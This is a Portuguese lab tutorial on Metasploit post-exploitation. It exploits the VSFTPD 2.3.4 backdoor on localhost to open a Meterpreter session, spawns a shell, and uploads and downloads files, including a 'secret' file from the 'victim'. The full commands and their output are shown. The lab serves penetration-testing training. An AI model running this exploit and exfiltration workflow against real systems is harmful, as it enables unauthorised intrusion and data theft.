Introdução
Neste laboratório, você aprenderá os fundamentos da pós-exploração utilizando o Metasploit Framework. Primeiro, você obterá acesso inicial explorando um servidor FTP vulnerável para estabelecer uma sessão Meterpreter. Em seguida, passará para a fase de pós-exploração. O objetivo desta fase é explorar o sistema comprometido, elevar privilégios e exfiltrar dados.
Você praticará comandos essenciais do Meterpreter para interagir com uma sessão, executar comandos de shell e transferir arquivos entre a máquina do atacante e a da vítima. Este laboratório o guiará desde o exploit inicial até as técnicas básicas de pós-exploração.
Obter Acesso Inicial
Nesta etapa, você obterá acesso ao sistema alvo explorando um backdoor no serviço VSFTPD 2.3.4. Isso lhe fornecerá uma sessão Meterpreter para a pós-exploração.
Primeiro, inicie o console do Metasploit Framework.
msfconsole -q
Assim que o Metasploit estiver em execução, selecione o exploit para o backdoor do VSFTPD 2.3.4.
use exploit/unix/ftp/vsftpd_234_backdoor
Agora, configure as opções do alvo e do payload. Como o serviço está rodando na mesma máquina, usaremos o IP de loopback. O payload padrão requer LHOST e pode falhar com a mensagem "All encoders failed to encode" - defina o encoder para evitar isso:
set RHOSTS 127.0.0.1
set LHOST 127.0.0.1
set Encoder generic/none
Por fim, execute o exploit.
exploit
SOLUÇÃO DE PROBLEMAS: Se você vir
Msf::OptionValidateError One or more options failed to validate: LHOST, executeset LHOST 127.0.0.1. Se você virAll encoders failed to encode, executeset Encoder generic/none. Em seguida, executeexploitnovamente.
AVISO: A primeira tentativa pode falhar com "Unable to connect to backdoor on 6200/TCP. Cooldown?" ou "Exploit completed, but no session was created." Se isso acontecer, basta executar o comando
exploitnovamente - a segunda tentativa deve ter sucesso.
Se for bem-sucedido, uma sessão Meterpreter será aberta (sessão 1).
[*] Started reverse TCP handler on 127.0.0.1:4444
[!] 127.0.0.1:21 - The port used by the backdoor bind listener is already open. Trying...
[+] 127.0.0.1:21 - Backdoor has been spawned!
[*] Meterpreter session 1 opened (127.0.0.1:4444 -> 127.0.0.1:xxxxx) at ...
meterpreter >
Agora você tem uma sessão Meterpreter. Para retornar ao prompt msf > para a próxima etapa, pressione Ctrl+Z e depois y quando for perguntado "Background session 1?".
Interagir com a Sessão Meterpreter
Agora que você tem uma sessão Meterpreter em segundo plano, aprenderá como interagir com ela. O comando sessions lista todas as sessões ativas e funciona apenas no prompt principal do Metasploit (msf exploit(...) >), não dentro do Meterpreter.
Para ver suas sessões ativas, execute:
sessions
Você deverá ver sua sessão Meterpreter com o ID 1.
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter x86/linux 127.0.0.1:4444 -> 127.0.0.1:xxxxx (127.0.0.1)
Para interagir com a sessão 1, execute:
sessions -i 1
Seu prompt mudará para meterpreter >, indicando que você agora está dentro da sessão.
[*] Starting interaction with 1...
meterpreter >
Você está pronto para executar comandos de pós-exploração a partir do Meterpreter.
Executar Comando de Shell com o comando shell
Dentro do Meterpreter, você pode acessar um shell de sistema padrão para executar comandos no alvo. Isso é útil quando você precisa executar comandos ou scripts específicos do shell.
No prompt meterpreter >, digite:
shell
Um shell padrão será aberto no alvo remoto. O prompt pode parecer travar brevemente, mas você já está em um shell de sistema e pode executar comandos diretamente.
Process 1654 created.
Channel 1 created.
Execute whoami para confirmar seu contexto de usuário:
whoami
labex
Digite exit para retornar ao prompt do Meterpreter.
exit
Seu prompt voltará para meterpreter >. Na próxima etapa, você usará esta sessão para fazer upload de um arquivo para o alvo.
Fazer Upload de Arquivo com upload /caminho/local /caminho/remoto
O comando upload do Meterpreter transfere arquivos da sua máquina local para o alvo. Um arquivo chamado local_file.txt está em /home/labex/project. Faça o upload dele para /tmp na máquina remota.
No prompt meterpreter >, execute:
upload /home/labex/project/local_file.txt /tmp/uploaded_file.txt
Você verá uma saída confirmando o upload:
[*] Uploading : /home/labex/project/local_file.txt -> /tmp/uploaded_file.txt
[*] Uploaded -1.00 B of 48.00 B (-2.08%): /home/labex/project/local_file.txt -> /tmp/uploaded_file.txt
[*] Completed : /home/labex/project/local_file.txt -> /tmp/uploaded_file.txt
Neste laboratório, o alvo roda na mesma máquina, portanto o arquivo aparece em /tmp/uploaded_file.txt. Em seguida, você praticará a operação inversa: baixar um arquivo do alvo.
Baixar Arquivo com download /caminho/remoto /caminho/local
O comando download transfere arquivos do alvo para sua máquina local. Um arquivo chamado secret_data.txt está em /tmp no sistema remoto. Baixe-o para o seu diretório de projeto.
No prompt meterpreter >, execute:
download /tmp/secret_data.txt /home/labex/project/downloaded_secret.txt
Você verá uma saída confirmando o download. O Meterpreter pode criar um diretório chamado downloaded_secret.txt e colocar o arquivo dentro dele como secret_data.txt.
[*] Downloading: /tmp/secret_data.txt -> /home/labex/project/downloaded_secret.txt/secret_data.txt
[*] Downloaded 47.00 B of 47.00 B (100.0%): /tmp/secret_data.txt -> /home/labex/project/downloaded_secret.txt/secret_data.txt
[*] Completed : /tmp/secret_data.txt -> /home/labex/project/downloaded_secret.txt/secret_data.txt
O arquivo agora está na sua máquina local. Na etapa final, você fechará a sessão e verificará o conteúdo baixado.
Encerrar Sessão com o comando exit
Nesta etapa final, você fechará a sessão Meterpreter e sairá do console do Metasploit.
No prompt meterpreter >, digite exit para fechar a sessão.
exit
[*] Shutting down session: 1
[*] 127.0.0.1 - Meterpreter session 1 closed. Reason: Died
Para sair do console do Metasploit, digite exit. Se for perguntado sobre uma sessão ativa, use exit -y para forçar a saída.
exit -y
Verifique o arquivo baixado. Como observado anteriormente, o Meterpreter pode ter criado um diretório; o arquivo está em downloaded_secret.txt/secret_data.txt:
cat /home/labex/project/downloaded_secret.txt/secret_data.txt
This is a secret file from the victim machine.
Parabéns! Você concluiu um fluxo de trabalho completo de exploit e pós-exploração.
Resumo
Neste laboratório, você aprendeu um fluxo de trabalho completo, desde o acesso inicial até a pós-exploração. Você começou obtendo uma sessão Meterpreter através de um exploit. Praticou como listar e interagir com sessões, obter um shell de sistema padrão a partir do Meterpreter e dominou a transferência de arquivos entre a máquina do atacante e a da vítima usando os comandos upload e download. Por fim, aprendeu como fechar corretamente uma sessão e sair do console do Metasploit. Essas habilidades são fundamentais para testes de penetração.



